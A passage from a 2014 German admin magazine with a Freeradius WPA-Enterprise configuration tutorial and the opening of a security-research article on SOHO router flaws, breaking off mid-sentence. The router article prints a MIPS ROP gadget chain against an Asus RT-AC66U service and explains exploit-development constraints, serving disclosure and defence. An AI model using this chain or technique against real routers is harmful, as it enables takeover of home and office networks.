In Sachen Datenschutz und Schutz der 

Privatsphäre hilft dem Freifunk-Projekt 

eine Technik, mit deren Hilfe es zunächst 

auch die Störerhaftung umging: 

Mesh-Netzwerke (Abbildung 3). Die so 

verbunden Router leiten ihre Daten 

über ein VPN nach Schweden und erst 

von dort aus ins weltweite Netz. Damit 

unterlief Freifunk anfangs auch die 

Störerhaftung; inzwischen verlässt sich 

die Initiative ohnehin auf das Provider- 

Privileg, das Internet-Anbieter von der 

rechtlichen Unsicherheit ausnimmt. 

Weiterhin hoffen die Aktivisten aber, 

der vermuteten Schnüffelei an deutschen 

Netzknoten zu entgehen. Ob die 

Technik diese Hoffnung erfüllt, ist allerdings 

angesichts der Enthüllungen des 

Ex-Geheimdienstlers Edward Snowden 

und der sich abzeichnenden weltweiten 

Überwachung durch verschiedene 

Geheimdienste fraglich. (csc) n 

n Info 





[1] WLAN in Norderstedt: 

[http:// www. mobyklick. de/] 

[2] Freifunk: [http:// freifunk. net/] 


Admin 

Ausgabe 02-2014

36 


Freeradius 

Tyler Olson, 123RF 

Copyright, 123RF 

Freeradius für den WLAN-Hotspot 

Großer Radius 

Firmen können es sich kaum noch erlauben, auf ein drahtloses Netzwerk zu verzichten. Die benutzerspezifische 

Zugangskontrolle funktioniert über WPA-Enterprise – das verbreitete Open-Source-Tool Freeradius 

bildet das passende Backend. Carsten Schnober 

„Wie heißt das WLAN-Passwort?“ – 

„Steht auf dem Zettel unter meiner 

Tastatur!“ Das ist der Albtraum für 

jeden Admin, denn den Zugang ins 

Firmennetz über so ein gemeinsames 

Passwort zu kontrollieren, wird schon 

bei einer überschaubaren Anzahl von 

Mitarbeitern unmöglich. 

Radius 

Die Lösung trägt den Namen IEEE 

802.1X, der für einen Standardmechanismus 

für die Netzwerkauthentifizierung 

steht. Für Firmen ausgerichtete 

WLAN-Hotspots bieten dieses 

Anmeldeverfahren üblicherweise mit 

der Bezeichnung WPA-Enterprise als 

Alternative zu WPA-Personal an (siehe 

Abbildung 1). 

Die User-Datenbank verwaltet der Hotspot 

in den meisten Fällen nicht selbst. 

Stattdessen befragt er einen Radius- 

Server im selben Netzwerk (Abbildung 

2): An dieser Stelle findet die zentrale 

Nutzerverwaltung statt. Kommt ein 

Mitarbeiter hinzu, trägt er ihn in den 

Radius-Server ein und der WLAN-Zugriff 

ist inklusive. 

Die Auflösung des Akronyms Radius 

– Remote Authentication Dial-In User 

Service – zeigt, dass sich das System für 

größere Aufgaben als die Verwaltung 

von WLAN-Usern eignet. Es kommt 

auch bei Internet-Anbietern zum Einsatz, 

die mit Radius-Servern ihre häufig 

sehr zahlreichen Benutzer verwalten. 

Radius setzt das sogenannte AAA- 

Konzept um: Authentifizierung, Autorisierung, 

Accounting. Für den Anwendungsfall 

der Zugangskontrolle zu 

einem WLAN spielen die ersten beiden 

Komponenten die Hauptrolle. Bei der 

Authentifizierung überprüft der Radius- 

Server Usernamen und Passwort, im 

Rahmen der Autorisierung legt er optionale 

Zugangsparameter fest, etwa 

die erlaubte Nutzungsdauer oder ‐zeit. 

Beim Accounting geht es in erster Linie 

um die typischen Anforderungen von 

Internet-Providern, vor allem die detaillierte 

Protokollierung der übertragenen 

Daten für statistische Auswertungen 

und Abrechnungen. 

Freeradius 

Freeradius [1] ist der am weitesten 

verbreitete Radius-Server. Die freie 



Freeradius 

37 

Software bietet mit einer Vielzahl von 

Modulen und Konfigurationsmöglichkeiten 

eine enorme Flexibilität. Für Linux, 

Mac OS X und BSD-Varianten sowie 

Windows [2] stehen fertige Pakete zur 

Verfügung. 

Die Freeradius-Entwickler verfolgen die 

Strategie, das Programm mit einer allgemein 

sinnvollen Konfiguration auszuliefern. 

Anpassungen an die eigene 

Umgebung bleiben unvermeidbar, aber 

die in vielen realen Szenarien direkt 

verwendbaren Voreinstellungen helfen 

bei der Orientierung in den zahlreichen 

Einstellmöglichkeiten. 

Der Start erfolgt unter Linux typischerweise 

als Service mit »service freeradius 

start« oder mit dem Befehl »radiusd« 

oder auch »freeradius« – je nach 

Distribution. Dann hört der Freeradius- 

Server gemäß der mitgelieferten Standardkonfiguration 

auf alle Anfragen 

und die Radius-Standard-Ports 1812 für 

die Authentifizierung sowie 1813 fürs 

Accounting, beide normalerweise definiert 

in »/etc/services«. Für Fehlersuche 

und zum Testen empfiehlt sich zudem 

der Start von Freeradius mit »freeradius 

‐X«, das alle Debugging-Meldungen 

ausgibt. 

Weitere Netzwerkparameter sowie 

lokale Einstellungen zu Logging, Threading, 

Sicherheit und den verwendeten 

Modulen befinden sich in der Datei 

»radiusd.conf« im Freeradius-Konfigurationsverzeichnis, 

unter Linux meist »/ 

etc/freeradius/«. 

»radiusd.conf« sammelt die meisten 

Optionen innerhalb von »listen«-Blöcken. 

Jeder »listen«-Block steht für eine 

virtuelle Server-Instanz, die Voreinstellung 

enthält zwei davon: einen für den 

Authentifizierungs- und einen für den 

Accounting-Server. Sie verwenden die 

genannten Standardports und nehmen 

Verbindungen von allen Adressen entgegen 

(»ipaddr=*«). Bei den virtuellen 

Servern handelt es sich im Freeradius- 

Konzept um voneinander unabhängige 

Instanzen. Sie lassen sich einzeln beispielsweise 

spezifisch für jeden Radius- 

Client konfigurieren. 

Benutzer 

Die mitgelieferte Freeradius-Konfiguration 

liefert zahlreiche Beispielnutzer- 

einträge mit, die allerdings 

mit Kommentarzeichen 

deaktiviert 

sind. Zuständig ist für 

die Benutzerkonfiguration 

die Datei »users«. 

Im einfachsten Fall 

trägt man dort direkt 

einzelne Benutzer ein: 

ADMIN Cleartext‐U 

Password := "magazin" 

Dieser Eintrag weist 

dem Benutzer »AD- 

MIN« das Attribut 

»Cleartext‐Password« 

mit dem Wert »magazin« 

zu. Freeradius liest 

diese Einträge beim 

Start. Erfragt nun ein WLAN-Endanwender 

beim Hotspot um Nutzungserlaubnis, 

gleicht der Radius-Server das vom 

Client gesendete Passwort mit diesem 

Wert ab und schickt die entsprechende 

Antwort. Änderungen in der Benutzerdatenbank 

erfordern einen Neustart 

des Freeradius-Servers. 

Das gesamte Freeradius-Konfigurationsverzeichnis 

sollte nur für den dezidierten 

Freeradius-Account lesbar sein, 

auch um die Benutzerpasswörter nicht 

offenzulegen. Wer sie trotzdem nicht im 

Klartext in der »users«-Datei speichern 

möchte, dem bietet das »rlm_pap«-Modul 

verschiedene Algorithmen an, die 

einen verschlüsselten Hash des Passworts 

verwenden, darunter MD5 und 

SHA-1. Man gibt den verwendeten Algorithmus 

als Option an und erzeugt den 

Abbildung 1: Einige Hotspots erlauben mittels WPA-Enterprise eine 

benutzerspezifische Konfiguration. 

Hash beispielsweise mit »sha1sum« für 

SHA-1: 

echo ‐n "magazin" | sha1sum 

Der folgende Eintrag in der »users«- 

Datei ersetzt den obigen: 

ADMIN SHA‐Password := U 

"e3d5a52968cef277f476a78124d8e05f1d558953" 

Der Reihe nach 

Freeradius arbeitet die Einträge in der 

»users«-Datei von oben nach unten 

ab. Bei einem Treffer stoppt es die 

Verarbeitung, außer der Parameter 

»Fall‐Through = Yes« ist gesetzt. Dieser 

steht wie andere zusätzliche Optionen 

in der Zeile unter der Benutzerdeklaration, 

eingerückt mit einem Tabulator. 

Abbildung 2: Ein Radius-Server liefert dem WLAN-Hotspot die Benutzerdaten. 


Admin 

Ausgabe 02-2014

38 


Freeradius 

Abbildung 3: Das Programm »radtest« hilft beim Debugging eines 

Radius-Servers. 

Die »users«-Datei kennt zahlreiche weitere 

Benutzeroptionen, beispielsweise 

die Uhrzeit, zu der sich ein User authentifizieren 

kann (»Login‐Time«). Der 

Eintrag »Reply‐Message« definiert eine 

benutzerspezifische Antwortmeldung, 

die beispielsweise eine Ablehnung 

begründet. Insgesamt stehen mehrere 

Hundert Optionen zur Verfügung, die 

einem Hotspot unter anderem benutzerspezifische 

Netzwerkkonfigurationen 

vorschlagen; ob er diese umsetzt, 

kümmert den Radius-Server jedoch 

nicht, das ist Aufgabe des Netzwerkzugangsknotens. 

Unter [3] steht die 

vollständige Liste der von Freeradius 

unterstützten Attribute bereit. 

Der Eintrag »DEFAULT« steht für alle 

Benutzernamen und dient dazu, allgemeine 

Einstellungen vorzugeben. 

Das bedeutet auch, dass Freeradius 

die Verarbeitung der »users«-Datei abbricht, 

wenn es auf einen »DEFAULT«- 

Eintrag stößt, wenn dieser nicht mit 

»Fall‐Through = Yes« ausgestattet ist. 

Radius-Clients 

Damit Freeradius den Zugang erlaubt, 

muss Freeradius zunächst auch den 

Client kennen, der einen User authentifizieren 

möchte. Die Konfiguration der 

Clients findet in der Datei »clients.conf« 

statt, sie enthält die Netzwerkparameter 

und Sicherheitseinstellungen der 

Network Access Server (NAS); im Beispiel 

also etwa ein WLAN-Hotspot. 

Das Schlüsselwort »client«, gefolgt 

von einem Namen, leitet jede Client- 

Konfiguration ein, die Konfiguration 

steht dann zwischen geschweiften 

Klammern. Voreingestellt ist nur der 

Client namens localhost. Er weist alle 

Verbindungen zurück, die nicht vom 

selben Rechner stammen. Der Name 

kann auch als Definition der zugelassenen 

Clients dienen, etwa »localhost« 

oder »192.168.1.2/32«. 

Seit Freeradius-Version 

2 ist dies nicht mehr 

vorgeschrieben, funktioniert 

aber weiterhin. 

Ansonsten legen die 

»ipaddr« und »netmask« 

die für diesen 

Client zugelassenen 

Netzwerkparameter 

fest. 

Ein Radius-Server verlangt außerdem 

ein Shared Secret vom Client – ein 

Passwort, das als Grundlage für die 

weitere verschlüsselte Kommunikation 

dient. Der voreingestellte localhost- 

Client gibt hier »testing123« vor. Die 

Konfiguration sieht zusammengefasst 

so aus: 

client localhost { 

ipaddr = 127.0.0.1 

secret = testing123 

netmask = 32 

} 

Der optionale Eintrag »netmask« bestimmt 

das erlaubte Subnetz. Fehlt er, 

steht er auf 32, was genau einem Rechner 

entspricht. Alternativ zur IP-Adresse 

nimmt der Eintrag »ipaddr« auch einen 

Hostnamen entgegen. Allerdings bedeutet 

das, dass bei einem Problem 

mit dem DNS-Server auch der Radius- 

Server ausfällt. 

Das in Freeradius enthaltene Tool »radclient« 

ermöglicht es, den Zugang von 

der Kommandozeile aus zu testen. Mit 

der gegebenen Konfiguration gestattet 

der Radius-Server das zunächst nur lokal; 

Abbildung 3 zeigt die Ausgabe. 

Hints und Huntgroups 

Zwei weitere Konfigurationsdateien 

und Freeradius-Konzepte heißen »huntgroups« 

und »hints«. Bei Huntgroups 

handelt es sich um Benutzergruppen, 

deren Mitglieder über denselben Network 

Access Server Zugriff erhalten. 

Entsprechend sieht eine einfache Huntgroups-Konfiguration 

so aus: 

lokal NAS‐IP‐Address == 192.168.1.1 

Diese Einstellung ordnet allen Benutzern, 

die der Radius-Client (NAS) 

mit der IP-Adresse »192.168.1.1« authentifiziert, 

der Huntgroup »lokal« 

zu. Diese Information lässt sich in der 

»users«-Datei verwenden, indem man 

über das Attribut »Huntgroup‐Name« 

die Zugehörigkeit eines Benutzers abgleicht. 

Dies bietet die Möglichkeit, für 

einen Benutzer verschiedene Einträge 

anzulegen, die je nach verwendetem 

NAS aktiv werden. Das ist insbesondere 

in Kombination mit dem »DEFAULT«- 

User sinnvoll. 

Die Hints erlauben die Detailkonfiguration 

direkt über die Benutzernamen, 

indem der Client situationsabhängige 

Präfixe oder Suffixe anhängt. Die mitgelieferte 

»hints«-Datei enthält die für 

Internet-Anbieter typischen Einstellungen, 

die Benutzernamen mit den Endungen 

».ppp«, ».slip« und ».cslip« das 

entsprechende Protokoll zuweisen. Anschließend 

wird die Authentifizierung 

mit Passwort mit dem verbleibenden 

Benutzernamen fortgeführt, dafür sorgt 

der Parameter »Strip‐User‐Name = Yes«. 

Der folgende Eintrag führt also zur Authentifierung 

eines Benutzers, der sich 

als »ADMIN.ppp« meldet. Nachdem ihm 

das PPP-Protokoll zugewiesen worden 

ist, autorisiert Freeradius ihn dann als 

»ADMIN«. Auch hier bietet sich die Kombination 

mit »DEFAULT« an: 

DEFAULT Suffix == ".ppp", 

Strip‐User‐Name = Yes 

Hint = "PPP", 

Service‐Type = Framed‐User, 

Framed‐Protocol = PPP 

Benutzerdatenbanken 

Freeradius ermöglicht es weiterhin, die 

Benutzerdaten in anderen Quellen als 

nur in der »users«-Datei zu speichern. 

Neben Modulen für verschiedene SQL- 

Datenbanken kommen auch Active 

Directory Service (ADS) und LDAP in 

Frage. 

Für MySQL genügt es, die Benutzerdaten 

mit denselben Attributen und Werten 

in die Datenbank einzutragen wie 

in die Benutzerdatei. Die mitgelieferten 

SQL-Skripte »admin.sql« und »schema. 

sql« im Unterverzeichnis »sql/mysql« 

legen Benutzer, Datenbanken und 

Schemata an. Für PostgreSQL stehen 

passende Pendants bereit. 



Freeradius 

39 

Dann aktiviert man in der Datei »radiusd.conf« 

den Eintrag »$INCLUDE sql. 

conf«, der standardmäßig auskommentiert 

ist. In »sql.conf« bietet die Option 

»database« die Wahlmöglichkeiten 

»mysql«, »mmsql«, »oracle« und »postgresql«. 

Nun definieren in derselben 

Datei »server«, »login« und »password« 

die Zugangsdaten zur Datenbank. 

Die angelegte MySQL-Datenbank enthält 

die einzelnen Benutzereinträge 

in der Tabelle »radcheck«. Die Felder 

»username«, »attribute«, »value« und 

»op« setzt man beispielsweise auf »AD- 

MIN«, »Cleartext‐Password«, »magazin« 

und »:=«, um einen Benutzer mit denselben 

Attributen anzulegen wie oben 

für die »users«-Datei gezeigt. 

Die Tabelle »radreply« definiert benutzerspezifische 

Antwortmeldungen 

sowie Netzwerkeinstellungen. In 

»usergroup« werden die Benutzer den 

Gruppen zugeordnet. »radgroupreply« 

wiederum definiert dazu gruppenspezifische 

Antworten [4]. 

Active Directory 

Der Rückgriff auf Benutzerdaten in 

einem Active Directory erfolgt mithilfe 

des Programms »ntlm_auth« aus dem 

Samba-Paket [5]. Der Zugang mit Username, 

Domäne und Passwort lässt sich 

manuell mit diesem Befehl testen: 

ntlm_auth ‐‐request‐nt‐key U 

‐‐domain=Domäne ‐‐username=Benutzer U 

‐‐password=Passwort 

Diese Kommandozeile steht in ähnlicher 

Form auch in der Freeradius-Konfigurationsdatei 

»modules/ntlm_auth«. 

Darin passt man den Pfad für den 

Programmaufruf an, etwa zu »/usr/bin/ 

ntlm_auth«, und die Domäne (Realm) 

an die des ADS-Servers. Benutzernamen 

und Passwörter stammen direkt 

vom anfragenden Client. Abschließend 

aktiviert man das Modul in den 

Dateien »sites‐enabled/default« und 

»sites‐enabled/inner‐tunnel«; der Block 

»authenticate« führt die erlaubten 

Authentifizierungsmethoden auf, dort 

fügt man die Zeile »ntlm_auth« hinzu. 

Details zur Konfiguration und Fehlersuche 

zu Freeradius und Active Directory 

Service zeigt [6]. 

Tunnel 

Die im vorherigen Absatz erwähnte 

Modulkonfigurationsdatei »sites‐enabled/inner‐tunnel« 

kommt unter 

anderem bei der Authentifizierung 

mittels WPA-Enterprise zum Tragen. 

Der WPA-Enterprise zugrunde liegende 

802.1X-Standard definiert nämlich eine 

verschlüsselte Verbindung nach dem 

EAP-over-LAN-Protokoll (EAPOL), wobei 

EAP für »Extensible Authentication Protocol« 

steht. 

Bei EAPOL erfolgt die Übermittlung 

der Benutzerdaten vom Client an den 

Zugangsknoten, bei 802.1X der WLAN- 

Hotspot, über einen verschlüsselten 

Tunnel. Der Zugangsknoten gibt die Anfrage 

an den Radius-Server weiter, der 

diese nach dem üblichen Prinzip behandelt. 

Allerdings liest Freeradius bei 

der Verwendung von EAP-Protokollen 

eben statt »sites‐enabled/default« die 

Liste der Module aus »sites‐enabled/ 

inner‐tunnel«. 

Der Tunnel benötigt weiterhin ein 

Verschlüsselungszertifikat. Im Produktivbetrieb 

sollte dies von einer vertrauenswürdigen 

Stelle signiert werden. 

Dem Freeradius-Quellpaket liegt aber 

zu Testzwecken ein Demozertifikat bei, 

das der Befehl »make« im Unterverzeichnis 

»certs« generiert. Allerdings 

fehlt das Demo-Zertifikat in den Paketen 

der meisten Linux-Distributionen, 

da es sich eben nicht um ein signiertes 

und damit vertrauenswürdiges Zertifikat 

handelt. 

Wer die EAPOL-Authentifizierung 

ausprobieren möchte, findet dafür 

außerdem das Programm »eapol_test« 

im WPA-Supplicant-Paket, das die 

verschiedenen WPA-Verschlüsselungsmechanismen 

zu Test- und Analysezwecken 

implementiert. Standardmäßig 

wird »eapol_test« allerdings nicht 

kompiliert, sondern nur wenn man in 

den Quellen die Konfigurationsoption 

»CONFIG_EAPOL_TEST=y« aktiviert. 

Sie steht auskommentiert in der Datei 

»defconfig« im Unterverzeichnis 

»wpa_supplicant« des WPA-Supplicant- 

Quellpakets; also kopiert man diese 

Datei nach »wpa_supplicant/.config«, 

entfernt das Kommentarzeichen in 

der ».config«-Datei und kompiliert mit 

»make eapol_test«. 

Für den Test von WPA-Enterprise eignet 

sich die Beispielkonfigurationsdatei 

»peap‐mschapv2.conf« unter [7]. Darin 

passt man die Einträge »identity« und 

»password« an, um einen in Freeradius 

angelegten User zu authentifizieren. 

Nun erfolgt der Test mit: 

eapol_test ‐c peap‐mschapv2 ‐s U 

Client‐Passwort 

Das Client-Passwort entspricht dabei 

dem in der Datei »clients.conf« festgelegten. 

In der vorgegebenen Beispielkonfiguration 

für »localhost« heißt es 

»testing123«. Nach erfolgreichem Test 

sollte man den »localhost«-Client wie 

alle nicht verwendeten Client-Einträge 

deaktivieren oder das Passwort ändern. 

Hürdenlauf 

Freeradius ist für die Benutzerverwaltung 

in der Größenordnung von 

Internet-Providern konzipiert worden. 

Die mit Freeradius paketierte Standardkonfiguration 

erhält damit einen 

großen Wert, denn sie macht den Einstieg 

dennoch einfach; so erhält der 

lokale WLAN-Hotspot statt eines gemeinsamen 

Passworts problemlos eine 

benutzerspezifische Authentifizierung 

und Konfiguration – WPA-Enterprise- 

Kompatibilität vorausgesetzt. n 

n Info 





[1] Freeradius: [http:// freeradius. org/] 

[2] Freeradius für Windows: 

[http:// freeradius. net/] 

[3] Radius-Attribute von Freeradius: [http:// 

freeradius. org/ rfc/ attributes. html] 

[4] Freeradius und SQL: [http:// wiki. freeradius. 

org/ guide/ SQL‐HOWTO] 

[5] Samba: [http:// www. samba. org/] 

[6] Freeradius und Active Directory: [http:// 

deployingradius. com/ documents/ 

configuration/ active_directory. html] 

[7] Konfigurationsdatei für EAPOL-Test: http:// 

deployingradius.com/scripts/eapol_test/ 

peap‐mschapv2.conf 


Admin 

Ausgabe 02-2014

pixelbliss, 123RF 

SOHO-WLAN-Router sind durchweg unsicher 

Schwachstellen 

WLAN-Router für den SOHO-Bereich sind durch die 

Bank unsicher. Das ergab eine Untersuchung von 

mehr als einem Dutzend Geräte durch die Independent 

Security Evaluators (ISE). Jacob Holcomb 

Small- und Home-Office-WLAN-Router 

sind heute ein Grundbestandteil der 

Netzwerke von Millionen Konsumenten. 

Sie sind häufig der einzige Ein- und 

Ausgang eines Heimnetzwerks, sie 

verwalten Domains und die Namensauflösung, 

haben Firewall-Funktionen, 

weisen dynamisch Adressen zu und 

kümmern sich natürlich um das Routing. 

Ihre weite Verbreitung und die ins 

Auge gefasste Zielgruppe Computerunerfahrener 

Anwender erzwingt eine 

sehr einfache Bedienung und schlüsselfertige 

Lösungen. 

Abbildung 1: Die Liste bisher unerkannter Schwachstellen in SOHO- 

Routern, die die Independent Security Evaluators aufgedeckt haben. 

Unsere Untersuchungen haben 56 

bisher unbekannte Schwachstellen in 

SOHO-Geräten aufgedeckt (Abbildung 

1), was eindrucksvoll beweist, dass der 

große Funktionsumfang dieser Router 

(zum Beispiel SMB, NetBIOS, HTTP(S), 

FTP, UPnP und Telnet) mit erheblichen 

Sicherheitsproblemen erkauft wird. 

Die Integration besonderer Services in 

diese Router schafft Angriffsflächen, 

die böswillige Angreifer ausnutzen 

können, um das Betriebssystem des 

Routers zu kompromittieren und einen 

Fuß in die Tür zum Netzwerk des Opfers 

zu bekommen. 

Sobald ein Router 

kompromittiert 

wurde – egal ob im 

SOHO-Bereich oder anderswo 

– wird ihn der 

Angreifer benutzen, 

um sich eine Man-inthe-Middle-Position 

für 

ausgeklügeltere Attacken 

gegen alle Benutzer 

in der Domain des 

Routers zu verschaffen. 

Das beinhaltet Sniffing 

und das Umleiten des 

Netzwerk-Traffics, das 

Vergiften der DNS- 

Resolver, DoS-Attacken und die Übernahme 

von Servern. Noch schlimmer 

dabei ist, dass diese Router oft auch 

Firewalls sind und die erste und letzte 

Verteidigungslinie des lokalen Netzes 

bilden. Daher hat der Angreifer nach 

der Kompromittierung des Routers uneingeschränkten 

Zugriff auf alle lokalen 

Hosts, die die Firewall eigentlich hätte 

schützen sollen. 

Unsere Untersuchung bezog sich anfänglich 

auf 14 Router, die unter [1] 

aufgelistet sind. 

Allgemeine Probleme 

Unsere Untersuchung besonderer 

Dienste, die die Router anboten, ergab, 

dass sich alle Schwachstellen auf vier 

primäre Kategorien zurückführen ließen: 

n die Fehlkonfiguration der Netzwerkdienste 

n der Glaube an die Sicherheit des 

LAN 

n unsichere Default-Einstellungen 

n schlechtes Design und mangelhafte 

Implementierung der Sicherheitsvorkehrungen 

Fehlkonfiguration von Services: Diese 

Kategorie wird von Netzwerkdiensten 

bestimmt, denen sicherheitsrelevante 



SOHO-Router 

41 

Konfigurationsoptionen fehlen oder die unnötigerweise zu wenig 

restriktive Rechte nutzen. Fehlende Konfigurationsoptionen 

können dazu führen, dass sich Services in unbeabsichtigter 

Weise nutzen lassen. Beispielsweise kann es dann möglich 

sein, symbolischen Links in das Root-Directory des Routers zu 

folgen (Abbildung 2). 

Glaube an die LAN-Sicherheit: Im Verlauf unserer Untersuchung 

stellten wir fest, dass alle Router für die Übertragung 

sensibler Daten zu Clients im LAN keine sichere Verbindung 

nutzten (oder das auch nur versuchten). Alle verwendeten 

Web-Portale mit Passwortschutz über HTTP – eine Methode, 

die bekanntermaßen ohne SSL/TLS-Verschlüsselung unsicher 

ist. Außerdem boten alle Router Services an, denen ein sicherer 

Kanal oder Authentifizierungsmechanismen fehlten (etwa 

FTP, Telnet und SMB). Offenbar wurden die Router von vornherein 

unter der Annahme konstruiert, dass es niemals eine 

Bedrohung aus dem LAN geben kann. Folgerichtig setzten die 

Hersteller ihre Prioritäten auf einfache Bedienung und Funktionsvielfalt, 

anstatt zu versuchen, einen Ausgleich zwischen 

Sicherheit, Bedienbarkeit und Funktionsvielfalt zu finden (Abbildung 

3). 

Unsicher per Default: Die Integration von vielen Features und 

die Plug-and-Play-Geisteshaltung der Hersteller verursachen 

weitere Sicherheitsprobleme, weil sie die Anzahl verwundbarer 

Services erhöhen. Wir fanden heraus, dass alle untersuchten 

Router per Default unsicher waren, typischerweise wegen 

ungesicherter Features, wegen Nichtbeachten des Prinzips 

der kleinsten Rechte, wegen Unterstützung veralteter Technologien, 

wegen abgeschalteter Sicherheitsvorkehrungen 

(beispielsweise fortgeschrittener Firewall-Einstellungen) oder 

wegen schwacher oder öffentlich bekannter Passwörter. 

Schlechtes Design und Implementierungsfehler: Alle Router 

litten generell unter Implementierungsproblemen, am häufigsten 

aufgrund fehlender Überprüfung von Eingaben. Die 

Mehrheit der Router war angreifbar durch Attacken wie Cross- 

Site-Scripting, Cross-Site-Request-Forgery (CSRF), Directory- 

Traversal und Command-Injection (Abbildung 4). 

Weniger bekannte Services überprüften ihre Eingaben in der 

Regel unzureichend und waren für Buffer-Overflows empfänglich. 

Diese Dienste liefen aber per Default und konnten 

Abbildung 2: Wegen fehlender Konfigurationsoptionen lässt sich ein Link 

in das Rootverzeichnis des Routers verfolgen. 

vom Endbenutzer nicht abgeschaltet werden. Im Zuge 

der Untersuchungen erlangten wir administrative Shelloder 

Web-Portal-Zugänge bei allen Routern durch die 

Kombination von Exploits, die erkannte Schwachstellen 

ausnutzten. Die dabei entdeckten Buffer-Overflows, 

Abbildung 3: Das so genannte SFE-Triangle. Zwischen diesen widerstreitenden 

Zielen gilt es einen Ausgleich zu finden. 


42 


SOHO-Router 

Abbildung 4: Cross-Site-Request-Forgery-Exploitation: 

Der Angreifer bedient sich eines Opfers, das bei 

der angegriffenen Web-Applikation angemeldet ist. 

Ihm wird böswilliger Code untergeschoben. 

n Listing 1: Asus RT-AC66U Roip Chain 

01 # ROP Gadget #1 

02 # lui s0,0x2 

03 # li a0,1 

04 # move t9,s1 ‐> Gadget #2 

05 # jalr t9 

06 # ori a1,s0,0x2 

07 


09 # move t9,s3 ‐> sleep() 

10 # lw ra,44(sp) ‐> Gadget #3 

11 # lw s4,40(sp) 

12 # lw s3,36(sp) 

13 # lw s2,32(sp) 

14 # lw s1,28(sp) 

15 # lw s0,24(sp) 

16 # jr t9 

17 


19 # addiu a1,sp,24 

20 # lw gp,16(sp) 

21 # lw ra,32(sp) ‐> Gadget #4 

22 # jr ra 

23 # addiu sp,sp,40 

24 


26 # move t9,a1 ‐> Shellcode 

27 # addiu a0,a0,56 

28 # jr t9 

29 # mov a1,a2 

unpassenden Berechtigungen, Fehlkonfigurationen, 

unsicherer kryptografischer 

Speicher und webbasierten Verwundbarkeiten 

fanden sich in der Regel 

bei mehreren Routern, oft auch über 

Herstellergrenzen hinweg. Sie müssen 

als generelles Problem der SOHO-Router-Industrie 

angesehen werden. 

Überblick über die 

Verwundbarkeiten 

SOHO-Router verwenden oft Software- 

Packages, die verschiedene Netzwerk- 

Features realisieren wie WPS-Monitoring, 

FTP-Server und Konfiguration der 

drahtlosen Dienste. Durch dynamische 

und statische Code-Analysen fanden 

wir etliche solche Packages, die mit 

Buffer-Overflow-Attacken angreifbar 

waren. 

Ein Beispiel ist der Broadcom-ACSD- 

Network-Service, wie ihn der ASUS 

RT-AC66U und das Modell TRENDnet 

TEW-812DRU verwenden. Dieser Service 

wird für einen Scan benutzt, der 

802.11-Kanäle mit geringer Interferenz 

finden soll. Der ACSD-Service dieser 

Router (der an einem Port im lokalen 

Netz horcht), ist gleich durch mehrere 

unautorisierte Buffer-Overflow-Angriffe 

verwundbar, die auf der fehlenden 

Eingabe-Validierung des Service-Kommandos 

beruhen. 

Ein anderes Beispiel ist der HTTP-Service 

des ASUS-RT-N56U-Routers. Dieser 

Service dient der Konfiguration des 

Routers über ein Web-Portal, das die 

Konfiuration zusätzlicher Dienste erlaubt, 

etwa eines Cloud-Services oder 

eines automatischen Torrent-Clients. In 

diesem Konfigurationsprozess kann der 

Router auf verschiedene Weise mit Buffer-Overflows 

angegriffen werden. Weil 

die Konfiguration in der Regel Root- 

Rechte erfordert, erlangt der Angreifer 

damit die vollständige administrative 

Kontrolle über den Router. 

Wegen der MIPS-Architektur und ihrer 

Aufrufkonventionen kommt bei der 

Ausbeutung dieser Buffer-Overflows 

eine Technik zum Tragen, die als Return 

Oriented Programming (ROP) bekannt 

ist. ROP verändert den Programmfluss 

und leitet ihn auf vom Angreifer 

infizierten Code um, wobei kleine 

Programm-Sequenzen benutzt werden, 

die als ROP-Gadgets bekannt sind. Die 

Broadcom-ACSD- und die ASUS-HTTPD- 

Netzwerkdienste konnten auf diese 

Weise erfolgreich angegriffen werden. 

MIPS-Architektur im 

Überblick 

MIPS ist eine RISC-Architektur (Reduced 

Instruction Set Computer) und unterscheidet 

sich insofern von der bekannten 

x86-Familie, die auf einem Complex 

Instruction Set Computer (CISC) aufbaut. 

Wie der Name bereits andeutet, 

verstehen RISC-CPUs weniger Instruktionen 

als CISC-CPUs. Die Einfachheit 

des reduzierten Befehlssatzes ermöglicht 

eine schnellere Ausführung und 

damit höhere Performance. Diese an 

sich erwünschte Einfachheit impliziert 

außerdem Vorsichtsmaßnahmen, derer 

sich die Entwickler von Schadcode bewusst 

sein müssen. 

So ist der MIPS-Befehlssatz nicht nur 

kleiner, die Befehle haben auch eine 

feste Länge. Unabhängig von der Aufgabe 

sind alle Instruktionen 16 oder 32 

Bit lang. Diese Längenbeschränkung 

erschwert zunächst das Entwickeln 

von Exploits, weil keine Teilstücke von 

Kommandos als ROP-Gadgets verwendet 

werden können. In einer CISC- 

Architektur ohne feste Byte-Grenzen 

kann dagegen eine Instruktion eine 

Untermenge einer längeren Instruktion 

sein. Auch der Suffix einer und der 

Präfix einer anderen Instruktion lassen 

sich unter CISC-Bedingungen zu einem 

neuen Befehl kombinieren. 

Ein weiterer Unterschied ergibt sich 

beim Ausführen einer Sprunganweisung 

im Code. Dabei wird nämlich die 

auf die Verzweigung folgende Instruktion 

mit ausgeführt. Diese Beschränkung 

muss man beim Entwickeln von 

Exploits ebenfalls im Auge haben, weil 

die zusätzliche Instruktion einen nachteiligen 

Einfluss auf die Register der 

CPU haben kann. Wenn beispielsweise 

in dem folgenden kurzen Beispiel die 

»jalr«-Instruktion abgearbeitet wird, 

dann wird außerdem (»ori a1,s0,0x2«) 

ausgeführt. Dieser so genannte Branch 

Delay Slot ändert den Inhalt des A1-Registers, 

indem die Anweisung dort das 

Ergebnis der bitweisen OR-Verknüpfung 

ablegt. 



SOHO-Router 

43 

# move t9,s1 

# jalr t9 

# ori a1,s0,0x2 

Schließlich ist ein letzter Unterschied 

zur CISC-Architektur, dass Rücksprungadressen 

in CPU-Registern und nicht 

auf dem Call Stack gespeichert werden. 

Diese Eigenschaft erschwert ebenfalls 

das Entwickeln von Exploits, weil jetzt 

nicht nur der Stack manipuliert werden 

muss, sondern zusätzlich das RA-Register 

der CPU mit der Return Address. 

Return Oriented 

Programming (ROP) 

Heutzutage ist ROP eine eingeführte 

Technik, um Bugs auszunutzen, die 

den Speicher korrumpieren – beispielsweise 

Buffer-Overflows – und um die 

Data Execution Prevention (DEP) zu 

umgehen. Herkömmlicherweise überschreibt 

der Angreifer bei einem Buffer- 

Overflow eine legitime Rücksprungadresse 

auf dem Stack mit einer neuen 

Adresse, die dann auf böswilligen Shellcode 

verweist. 

Konzeptionell arbeitet ROP in der gleichen 

Weise, der Unterschied ist nur, 

dass die Rücksprungadresse nun mit 

einem Zeiger auf das erste ROP-Gadget 

